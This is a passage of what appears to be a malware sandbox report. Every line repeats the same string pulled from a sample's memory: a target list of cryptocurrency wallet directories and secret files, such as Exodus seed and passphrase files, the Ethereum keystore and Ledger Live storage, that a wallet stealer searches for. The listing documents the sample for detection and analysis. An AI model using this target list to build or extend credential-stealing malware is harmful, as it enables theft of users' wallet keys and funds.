Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 